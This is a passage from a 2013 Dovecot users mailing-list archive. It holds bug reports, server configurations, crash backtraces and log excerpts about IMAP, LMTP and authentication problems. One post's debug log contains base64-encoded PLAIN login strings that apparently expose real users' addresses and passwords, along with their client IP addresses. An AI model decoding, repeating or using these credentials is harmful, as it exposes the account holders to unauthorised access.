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[Dovecot] MULTIAPPEND + literal8 issue
by Michael M Slusarz 16 Jun '13

16 Jun '13

Background: importing a mbox file containing ~700 messages (20 MB). Our program splits MULTIAPPENDS into approx. 5MB chunks. We don't use literal+ in order to immediately catch errors. I can reproducibly produce the following error (2.2.2) when doing a MULTIAPPEND where every append is using literal8: [...340 messages appended in 7 previous APPEND commands...] C: 10 APPEND Test "16-Dec-2011 17:19:46 -0700" ~{3128} [...~30 APPENDed messages...] C: "18-Jan-2012 12:38:21 -0700" ~{2893} S: + OK [...2893 octets of data...] C: "18-Jan-2012 22:09:41 -0700" ~{6492} S: 10 BAD Error in IMAP command APPEND: Expected '{' S: 492} BAD Error in IMAP command : Unknown command. This error occurs about 340 messages in. If I switch to using regular literals, this error does not occur. I can verify that neither the 12:38:21 message nor the 22:09:41 message alone is broken (I can put just these two in a file and import and it is successful). I can provide the mbox file privately, if needed. michael

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[Dovecot] LMTP crash with sdbox and SIS
by Bernhard Schmidt 16 Jun '13

16 Jun '13

Debian Wheezy amd64 plus Stefan's stable-auto/dovecot2.2 repository 2:2.2.2-0~auto+57 = 16495:d447dcc6b611 Crash goes away when I disable mail_attachment_dir, happens with a fresh home as well # 2.2.2 (d447dcc6b611): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 disable_plaintext_auth = no first_valid_uid = 100 mail_attachment_dir = /home/studext/attachment mail_gid = ext mail_location = sdbox:~/sdbox:INDEX=~/Index mail_plugins = quota mail_uid = studext managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = INBOX. separator = . } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { quota = dict:User quota::file:%h/Maildir/dovecot-quota quota_rule = INBOX.Trash:ignore quota_rule2 = ?:storage=512M sieve = ~/currently-active-script.sieve sieve_dir = ~/sieve } protocols = " imap lmtp sieve pop3" service lmtp { executable = lmtp -D inet_listener lmtp { port = 24 } } ssl_cert = </etc/dovecot/dovecot.pem ssl_key = </etc/dovecot/private/dovecot.pem userdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocol lmtp { mail_plugins = quota sieve } protocol imap { mail_plugins = quota imap_quota } (gdb) bt full #0 0x00007fc270f11475 in raise () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #1 0x00007fc270f146f0 in abort () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #2 0x00007fc2712cbdf8 in default_fatal_finish (type=<optimized out>, status=status@entry=0) at failures.c:191 backtrace = 0x97e900 "/usr/lib/dovecot/libdovecot.so.0(+0x62dea) [0x7fc2712cbdea] -> /usr/lib/dovecot/libdovecot.so.0(+0x62e2e) [0x7fc2712cbe2e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fc27128bda5] -> /usr/lib/d"... #3 0x00007fc2712cbe2e in i_internal_fatal_handler (ctx=0x7fff6b38a7c0, format=<optimized out>, args=<optimized out>) at failures.c:652 status = 0 #4 0x00007fc27128bda5 in i_panic (format=format@entry=0x7fc2712f18c8 "file %s: line %d (%s): assertion failed: (%s)") at failures.c:263 ctx = {type = LOG_TYPE_PANIC, exit_status = 0, timestamp = 0x0} args = {{gp_offset = 40, fp_offset = 48, overflow_arg_area = 0x7fff6b38a8b0, reg_save_area = 0x7fff6b38a7f0}} #5 0x00007fc2712d4734 in i_stream_read (stream=0x9c3740) at istream.c:163 _stream = 0x9c36e0 old_size = 0 ret = -1 __FUNCTION__ = "i_stream_read" #6 0x00007fc2715ca2c9 in index_attachment_save_continue (ctx=0x9b7ef0) at index-attachment.c:206 storage = 0x9ae590 attach = 0x9c3310 data = <optimized out> size = 1 ret = <optimized out> #7 0x00007fc2715a78a8 in mail_storage_try_copy (mail=0x9a3c60, _ctx=0x7fff6b38a928) at mail-copy.c:80 ctx = 0x9b7ef0 pmail = 0x9a3c60 input = 0x9b57c0 #8 mail_storage_copy (ctx=ctx@entry=0x9b7ef0, mail=mail@entry=0x9a3c60) at mail-copy.c:101 No locals. #9 0x00007fc271576810 in sdbox_copy (_ctx=<optimized out>, mail=<optimized out>) at sdbox-copy.c:172 ctx = <optimized out> _t = <optimized out> mbox = <optimized out> __FUNCTION__ = "sdbox_copy" #10 0x00007fc2706b1320 in quota_copy (ctx=0x9b7ef0, mail=0x9a3c60) at quota-storage.c:220 t = 0x9b4b70 qt = 0x9b7e80 qbox = 0x9b2450 #11 0x00007fc2715afadf in mailbox_copy (_ctx=_ctx@entry=0x7fff6b38aaa8, mail=0x9a3c60) at mail-storage.c:2116 ctx = 0x9b7ef0 t = 0x9b4b70 keywords = 0x0 pvt_flags = 0 ---Type <return> to continue, or q <return> to quit--- real_mail = <optimized out> ret = <optimized out> __FUNCTION__ = "mailbox_copy" #12 0x00007fc2715afb8c in mailbox_save_using_mail (ctx=ctx@entry=0x7fff6b38aaa8, mail=<optimized out>) at mail-storage.c:2147 No locals. #13 0x00007fc27184ddde in mail_deliver_save (ctx=ctx@entry=0x7fff6b38ac10, mailbox=<optimized out>, flags=flags@entry=0, keywords=keywords@entry=0x0, storage_r=storage_r@entry=0x7fff6b38abe8) at mail-deliver.c:311 open_ctx = {user = 0x9aa470, lda_mailbox_autocreate = false, lda_mailbox_autosubscribe = false} box = 0x9b1e80 trans_flags = <optimized out> t = 0x9b4b70 save_ctx = 0x0 headers_ctx = 0x0 kw = 0x0 error = MAIL_ERROR_NONE mailbox_name = 0x40892f "INBOX" errstr = <optimized out> guid = 0x7fc271847d98 "W\n" changes = {pool = 0x7fc271a52788, uid_validity = 1798876136, saved_uids = {arr = {buffer = 0x9992d0, element_size = 140473107114581}, v = 0x9992d0, v_modifiable = 0x9992d0}, ignored_modseq_changes = 10165232, changed = false, no_read_perm = false} default_save = <optimized out> ret = 0 __FUNCTION__ = "mail_deliver_save" #14 0x00007fc27184e203 in mail_deliver (ctx=ctx@entry=0x7fff6b38ac10, storage_r=storage_r@entry=0x7fff6b38abe8) at mail-deliver.c:413 ret = -1 #15 0x0000000000406282 in client_deliver (session=0x9a8480, src_mail=0x9a3c60, rcpt=0x98b770, client=0x98af00) at commands.c:689 lda_set = 0x999b00 ns = <optimized out> set_parser = <optimized out> line = <optimized out> storage = 0x9ae590 sets = <optimized out> mail_error = MAIL_ERROR_NONE ret = <optimized out> dctx = {pool = 0x9a8460, set = 0x999b00, session = 0x9a8480, dup_ctx = 0x0, session_id = 0x98b710 "zeL+MQ/QuFGZTgAAUJ203Q", src_mail = 0x9a3c60, src_envelope_sender = 0x98b728 "schmidt(a)xxx.de", dest_user = 0x9aa470, dest_addr = 0x98bd70 "ext44903(a)mstoretest.mail.xxx.de", final_dest_addr = 0x98bd70 "ext44903(a)mstoretest.mail.xxx.de", dest_mailbox_name = 0x40892f "INBOX", dest_mail = 0x9b8830, var_expand_table = 0x0, tempfail_error = 0x0, tried_default_save = true, saved_mail = false, save_dest_mail = false, mailbox_full = false, dsn = false} input = <optimized out> mail_set = 0x9992d0 error = <optimized out> username = <optimized out> #16 client_deliver_next (session=0x9a8480, src_mail=0x9a3c60, client=0x98af00) at commands.c:732 rcpts = 0x98b770 count = 1 #17 client_input_data_write_local (input=<optimized out>, client=0x98af00) at commands.c:827 src_mail = 0x9a3c60 first_uid = 4294967295 session = 0x9a8480 old_uid = 0 #18 client_input_data_write (client=0x98af00) at commands.c:938 input = 0x99b5b0 ret = true #19 client_input_data_handle (client=0x98af00) at commands.c:1032 data = <optimized out> size = 1794 ret = <optimized out> #20 0x00007fc2712db996 in io_loop_call_io (io=0x98a3b0) at ioloop.c:387 ioloop = 0x985700 t_id = 2 #21 0x00007fc2712dc807 in io_loop_handler_run (ioloop=ioloop@entry=0x985700) at ioloop-epoll.c:215 ctx = 0x988530 events = 0x0 event = 0x9885a0 list = 0x98a400 io = <optimized out> tv = {tv_sec = 299, tv_usec = 992938} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #22 0x00007fc2712db4d8 in io_loop_run (ioloop=0x985700) at ioloop.c:406 No locals. #23 0x00007fc271291013 in master_service_run (service=0x985590, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #24 0x0000000000404c24 in main (argc=2, argv=0x985390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 739 c = <optimized out>

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[Dovecot] Connection closed by foreign host.
by Michael Cramer 16 Jun '13

16 Jun '13

i tried the latest dev version 2.2.2-0~auto54 for ubuntu and when i do some testing i got a connection closed. the commands are issued through telnet: root@i920:~# telnet localhost imap Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Dovecot ready. 1 LOGIN test(a)lokal.de 123456 1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE NOTIFY COMPRESS=DEFLATE QUOTA ACL RIGHTS=texk] Logged in 2 LIST () "" (virtual/*) * LIST () "/" virtual/All * LIST () "/" virtual/Flagged * LIST (\UnMarked) "/" virtual/Flagged * LIST (\Marked) "/" virtual/All 2 OK List completed. 3 LIST () "" (*) Connection closed by foreign host. the command with number 3 results everytime in a connection closed. i turned on debug_log but nothing is shown there.

2 7

[Dovecot] rawlog without setting home in userdb
by Claus 16 Jun '13

16 Jun '13

Hi all, in my settup i decided to set mail_home in 10-mail.conf, and let dovecot do the hashing to a 2-level directory structure. mail_location = mdbox:~/mdbox:ALT=/altstorage/%h/mdbox mail_home = /vmail/%1Mu/%2.1Mu/%u In my userdb ist homedirectory not set and everythink works as expected, except when i use rawlog i get only logs in ~/dovecot.rawlog if home is set in userdb. In wiki http://wiki2.dovecot.org/Debugging/Rawlog it reads: If you don't have the home directory and you can't or don't want to modify userdb configuration, you can add: mail_home = /home/%u # or temporarily even e.g. mail_home = /tmp/temp-home Can you tell me, if my problem is the hashing-configuration or anything else? Claus

3 4

[Dovecot] Still virtio problems
by Erich N. Pekarek 16 Jun '13

16 Jun '13

Hello! As posted on May 27th this year, dovecot 2.1.7 does not allow for the mailstore to be located in a virtio partition. I still receive fstat()-errors on the lock files in this combination: May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/.quotausage.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: file dict commit: file_dotlock_open(/var/vmail/mydomain/test/.quotausage) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory Config includes: mmap_disable=yes dotlock_use_excl=no Any ideas? Thanks Erich

2 1

[Dovecot] dovecot creating unknown users
by Yann Shukor 16 Jun '13

16 Jun '13

Hi We recently installed a dovecot postfix roundcube debian wheezy serverIt is now in production and we are feeling our way as we progressivelyadd new users to this local server. I noticed that dovecot is creating user directory structures for unknown users withinour domain in /var/vmail, even though we have setup a static users.conf db file. I tried omiting the "allow_all_users=yes" parameter but that doesn't seem to be linked to this issue Sorry if this has been asked a number of times already Is there an easy way to search the archives of this mailinglist ? Thanks yann # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-686-pae i686 Debian 7.0 ext4 auth_debug = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes disable_plaintext_auth = no first_valid_gid = 5000 first_valid_uid = 5000 hostname = holimail.holinice.com last_valid_gid = 5000 last_valid_uid = 5000 listen = * mail_debug = yes mail_gid = vmail mail_location = maildir:/var/vmail/%d/%n/Maildir mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = maildir:/var/vmail/%d/%n/Maildir mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = subscriptions = yes } passdb { args = scheme=CRAM-MD5 /etc/dovecot/users.conf driver = passwd-file } passdb { driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = azurtem(a)holinice.com protocols = " imap sieve pop3" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { group = dovecot inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { process_limit = 1024 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3 { process_limit = 1024 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } userdb { driver = passwd } protocol lda { mail_plugins = " sieve" }

1 0

[Dovecot] Testing SMTP AUTH
by Ajai Khattri 15 Jun '13

15 Jun '13

Ive configured Postfix to use Dovecot for SMTP AUTH. I tried to test it but when I send the AUTH LOGIN command I get a response saying that AUTH method is not supported/implemented. How to test then? -- A -- Aj.

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[Dovecot] access shared mailbox results in error
by Michael Cramer 15 Jun '13

15 Jun '13

when i try to access a shared mailbox the logfile shows me this and access isn't possible Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Error: mdbox /srv/vmail/mail/bigmichi1.de/familie/mailboxes/INBOX/dbox-Mails: Invalid dbox header size: 0 Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Warning: fscking index file /srv/vmail/indexes/shared/bigmichi1.de/michael/shared/familie(a)bigmichi1.de/storage/dovecot.map.index Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Warning: mdbox /srv/vmail/mail/bigmichi1.de/familie/storage: rebuilding indexes doveconf -n # 2.2.2 (30f00db1a8b0): /etc/dovecot/dovecot.conf # OS: Linux 3.8.0-25-generic x86_64 Ubuntu 13.04 ext4 auth_mechanisms = plain login debug_log_path = /var/log/dovecot/debug.log dict { acl = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext expire = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext quota = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext } first_valid_gid = 8 first_valid_uid = 8 info_log_path = /var/log/dovecot/info.log last_valid_gid = 8 last_valid_uid = 8 log_path = /var/log/dovecot/error.log mail_debug = yes mail_gid = 8 mail_location = mdbox:/srv/vmail/mail/%d/%n:INDEXPVT=/srv/vmail/indexes/private/%d/%n:INDEX=/srv/vmail/indexes/shared/%d/%n mail_plugins = quota zlib acl expire virtual mail_uid = 8 mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variab les body enotify environment mailbox date ihave imapflags notify mdbox_preallocate_space = yes mdbox_rotate_size = 10 M namespace { list = children location = mdbox:/srv/vmail/mail/%%d/%%n:INDEXPVT=/srv/vmail/indexes/private/%d/%n/shared/%%u:INDEX=/srv/vmail/indexes/shared/%d/%n/shared/%%u prefix = Shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox Archive { auto = subscribe special_use = \Archive } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } mailbox virtual/All { auto = subscribe special_use = \All } mailbox virtual/Flagged { auto = subscribe special_use = \Flagged } prefix = separator = / type = private } namespace virtual { location = virtual:/srv/vmail/virtual:INDEXPVT=/srv/vmail/indexes/private/%d/%n/virtual:INDEX=/srv/vmail/indexes/shared/%d/%n/virtual prefix = virtual/ separator = / } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { acl = vfile:/srv/vmail/acl:cache_secs=300 acl_anyone = allow acl_shared_dict = proxy::acl expire = Trash 7 Trash/* 7 Spam 30 expire_dict = proxy::expire quota = dict:User quota::proxy::quota quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=80%% quota-warning 80 %u quota_warning3 = -storage=100%% quota-warning below %u sieve = /srv/vmail/sieve/%d/%n/.dovecot.sieve sieve_default = /srv/vmail/sieve/default.sieve sieve_dir = /srv/vmail/sieve/%d/%n/ sieve_extensions = +notify +imapflags sieve_global_dir = /srv/vmail/sieve/global } postmaster_address = postmaster(a)bigmichi1.de protocols = " imap sieve" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = mail mode = 0666 user = mail } } service dict { unix_listener dict { group = mail mode = 0660 user = mail } } service managesieve-login { inet_listener sieve { port = 4190 } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { user = mail } user = dovecot } ssl_cert = </srv/ssl/ssl-unified.crt ssl_key = </srv/ssl/ssl-decrypted.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lda { debug_log_path = /var/log/dovecot/deliver-debug.log info_log_path = /var/log/dovecot/deliver-info.log log_path = /var/log/dovecot/deliver-errors.log mail_plugins = quota zlib acl expire virtual sieve } protocol imap { mail_plugins = quota zlib acl expire virtual imap_quota imap_acl imap_zlib }

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[Dovecot] Turn off IMAPS?
by Simon B 15 Jun '13

15 Jun '13

Hi I've upgraded to 2.1.7 and finally decided to turn off imaps and pop3s because these days everyone uses tls over 143 anyway. But it's on and I can't figure out why. I only have non-ssl versions specified: protocols = imap pop3 I've stopped and started and the ports are still open and netstat says dovecot is listening on them.. mail:~# netstat -tulnp | grep dove tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN 29340/dovecot tcp6 0 0 :::993 :::* LISTEN 29340/dovecot tcp6 0 0 :::995 :::* LISTEN 29340/dovecot tcp6 0 0 :::110 :::* LISTEN 29340/dovecot tcp6 0 0 :::143 :::* LISTEN 29340/dovecot Any ideas? Thanks. Simon Here's my doveconf - n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext3 auth_mechanisms = plain login auth_verbose = yes disable_plaintext_auth = no first_valid_uid = 109 last_valid_uid = 109 log_timestamp = "%Y-%m-%d %H:%M:%S " login_log_format_elements = user=<%u> method=%m rip=%r %c mail_location = maildir:/var/spool/mail/virtual/%d/%n mail_privileged_group = mailsystem maildir_very_dirty_syncs = yes passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { quota = maildir } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = mailsystem mode = 0660 user = postfix } unix_listener auth-master { group = mailsystem mode = 0660 user = mailsystem } user = mailsystem } ssl_ca = </etc/ssl/keys/ca.crt ssl_cert = </etc/ssl/keys/mail.net.crt ssl_key = </etc/ssl/private/mail.net.key userdb { driver = prefetch } userdb { args = uid=109 gid=113 home=/var/spool/mail/virtual/%d/%n allow_all_users=yes driver = static } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 20 mail_plugins = quota imap_quota } protocol pop3 { mail_plugins = quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_save_uidl = yes pop3_uidl_format = %v.%u } protocol lda { deliver_log_format = msgid=%m: %f: %$ info_log_path = log_path = mail_plugins = quota postmaster_address = postmaster(a)example.net }

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[Dovecot] Auto-responder to handle unencrypted (and/or unsigned) email messages whose origin is not localhost
by Ben Johnson 15 Jun '13

15 Jun '13

Hi, everyone, I'm surprised how little exists on the Internet regarding this particular subject. Given the recent headlines, that is about to change, I'm sure. I have a need to send an automated response to all senders who attempt to send unencrypted and/or unsigned email to a specific mailbox on my system. (Messages originating from localhost should be exempt.) I would like for the auto-reply to include a customized message with the appropriate public PGP key contained therein. Has anyone accomplished this? If not, some basic theory as to how one might go about achieving this would be greatly appreciated. Perhaps this is a job for Dovecot's "sieve_before" directive. Would this simply be a matter of checking the message body for the expected patterns, e.g., starts with "----- BEGIN PGP MESSAGE -----", etc., etc. and sending an automated reply with the public key if the expected strings are not present? Any additional thoughts would be very helpful! Thank you in advance, -Ben

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Re: [Dovecot] Safe/preferred way to import old email
by Reindl Harald 15 Jun '13

15 Jun '13

Am 14.06.2013 22:10, schrieb Ajai Khattri: > One small problem (I should have described better): the old server is not available but I've have the maildirs > rsynced to the new server. So I have the actual message files but I'm not sure if simply copying them into the new > maildirs is a good idea :-) > > On Friday, June 14, 2013, Reindl Harald wrote: > > Am 14.06.2013 21:59, schrieb Ajai Khattri: > > Ive migrated from a qmail+Courier-IMAP setup to a Postfix+Dovecot setup. > > I'm using maildirs in both places. > > > > Is there a safe/preferred way to bring my old messages over without them > > being marked as new in Dovecot? > > imapsync well, that must answer people which where in the situation of a not really prepared migration why you *should not* reply off-list!

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[Dovecot] Safe/preferred way to import old email
by Ajai Khattri 14 Jun '13

14 Jun '13

Ive migrated from a qmail+Courier-IMAP setup to a Postfix+Dovecot setup. I'm using maildirs in both places. Is there a safe/preferred way to bring my old messages over without them being marked as new in Dovecot ? -- Aj.

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[Dovecot] Pam authentication failure message but it works
by Wayne Andersen 14 Jun '13

14 Jun '13

I am running Centos 6.4 64bit. Dovecot 2.0.9 I am getting the following messages in /var/log/secure, which looks like the pam authentication is not working but the users are allowed to login and the system works great. I am wondering if pam is actually failing and yet the system is getting the login info from elsewhere, or is this just a nuisance message? /var/log/secure Jun 12 23:11:29 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=christineg rhost=65.13.54.123 user=christineg Jun 12 23:11:45 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=susieg rhost=70.208.29.109 user=susieg Jun 12 23:12:03 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=bobs rhost=70.59.189.210 user=bobs In the debug log file I see what looks like a successful connection, but don't know how to read the two pam lines. /var/log/dovecot.debug.log Jun 12 23:11:29 auth: Debug: auth client connected (pid=10098) Jun 12 23:11:29 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=65.13.54.123 lport=143 rport=54049 resp=AGNocmlzZwBjZzQ4MjU= Jun 12 23:11:29 auth: Debug: pam(christineg,65.13.54.123): lookup service=dovecot Jun 12 23:11:29 auth: Debug: pam(christineg,65.13.54.123): #1/1 style=1 msg=Password: Jun 12 23:11:29 auth: Debug: client out: OK 1 user=christineg Jun 12 23:11:29 auth: Debug: master in: REQUEST 4079353857 10098 1 0229474c9c1038e161328ecd28884af2 Jun 12 23:11:29 auth: Debug: passwd(christineg,65.13.54.123): lookup Jun 12 23:11:29 auth: Debug: master out: USER 4079353857 christineg system_groups_user=christineg uid=1116 gid=100 home=/home/christineg Jun 12 23:11:29 imap(christineg): Debug: Effective uid=1116, gid=100, home=/home/christineg Jun 12 23:11:29 imap(christineg): Debug: maildir++: root=/home/christineg/Maildir, index=, control=, inbox=/home/christineg/Maildir Jun 12 23:11:44 auth: Debug: auth client connected (pid=10100) Jun 12 23:11:45 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=70.208.29.109 lport=143 rport=14107 Jun 12 23:11:45 auth: Debug: client out: CONT 1 Jun 12 23:11:45 auth: Debug: client in: CONT 1 AHJpY2hhcmRnQGNsaW1hLXRlY2guY29tAHJnMzgyMg== Jun 12 23:11:45 auth: Debug: pam(susieg,70.208.29.109): lookup service=dovecot Jun 12 23:11:45 auth: Debug: pam(susieg,70.208.29.109): #1/1 style=1 msg=Password: Jun 12 23:11:45 auth: Debug: client out: OK 1 user=susieg Jun 12 23:11:45 auth: Debug: master in: REQUEST 3368157185 10100 1 5a8d4b15a417d0bc4d2f818c5a5710f0 Jun 12 23:11:45 auth: Debug: passwd(susieg,70.208.29.109): lookup Jun 12 23:11:45 auth: Debug: master out: USER 3368157185 susieg system_groups_user=susieg uid=1087 gid=100 home=/home/susieg Jun 12 23:11:45 imap(susieg): Debug: Effective uid=1087, gid=100, home=/home/susieg Jun 12 23:11:45 imap(susieg): Debug: maildir++: root=/home/susieg/Maildir, index=, control=, inbox=/home/susieg/Maildir Jun 12 23:12:03 auth: Debug: auth client connected (pid=10104) Jun 12 23:12:03 auth: Debug: auth client connected (pid=10105) Jun 12 23:12:03 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=70.59.189.210 lport=143 rport=38705 Jun 12 23:12:03 auth: Debug: client out: CONT 1 Jun 12 23:12:03 auth: Debug: client in: CONT 1 AGJyZW5kb25jQGNsaW1hLXRlY2guY29tAGJjMTU1NA== Jun 12 23:12:03 auth: Debug: pam(bobs,70.59.189.210): lookup service=dovecot Jun 12 23:12:03 auth: Debug: pam(bobs,70.59.189.210): #1/1 style=1 msg=Password: Jun 12 23:12:03 auth: Debug: client out: OK 1 user=bobs Jun 12 23:12:03 auth: Debug: master in: REQUEST 709623809 10104 1 0c261d849b956bf9cb5c0833b498bb97 Jun 12 23:12:03 auth: Debug: passwd(bobs,70.59.189.210): lookup Jun 12 23:12:03 auth: Debug: master out: USER 709623809 bobs system_groups_user=bobs uid=1188 gid=100 home=/home/bobs Jun 12 23:12:03 imap(bobs): Debug: Effective uid=1188, gid=100, home=/home/bobs Jun 12 23:12:03 imap(bobs): Debug: maildir++: root=/home/bobs/Maildir, index=, control=, inbox=/home/bobs/Maildir /etc/pam.d/dovecot #%PAM-1.0 auth required pam_nologin.so auth include password-auth account include password-auth session include password-auth # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-279.22.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain login auth_username_format = %n auth_verbose = yes debug_log_path = /var/log/dovecot.debug.log disable_plaintext_auth = no hostname = mail.mydomain.com lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes mail_debug = yes mail_location = maildir:~/Maildir managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date mbox_write_locks = fcntl passdb { args = failure_show_msg=yes driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_global_path = /var/lib/dovecot/sieve/default.sieve } postmaster_address = postmaster(a)mydomain.com protocols = imap pop3 lmtp sieve sendmail_path = /usr/sbin/sendmail.postfix service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/postfix/mail.mydomain.crt ssl_key = </etc/postfix/mail.mydomain.key userdb { driver = passwd } protocol lmtp { mail_plugins = " sieve" } protocol lda { mail_plugins = " sieve" } protocol pop3 { pop3_save_uidl = no pop3_uidl_format = %08Xu%08Xv }

1 0

[Dovecot] Autocreation the home folder
by Joan 14 Jun '13

14 Jun '13

Sorry if this has been already asked, but I haven't been able to find a solution, I am trying to migrate a dovecot 1.2 config to 2.1, the 'dovecot -n > dovecot.conf' migrated all the setup without issues, and the mail is working as expected. The only issue I've had is with the change with the mail_location, mail_home, that in the 2.1 versions can't be on the same path. After reading in the wiki the various config options ( http://wiki2.dovecot.org/VirtualUsers/Home) I opted to use the 3rd: Home directory under mail, for example: Maildir: home=/var/vmail/domain/user/home/ mail=/var/vmail/domain/user/ mbox: There's really no good and safe way to do it. So I changed from: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n To: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n/home The problem is that those home directories are not created (the mailboxes already existed) automatically, and I am getting these errors: ========================================================== May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Home dir not found: /var/vmail/example.com/username/home May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=20480000000 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=Trash ignored May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=15360000000 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=17408000000 (85%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 85 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: maildir++: root=/home/vmail/example.com/username, index=, control=, inbox=/home/vmail/example.com/username, alt= May 10 17:08:59 server 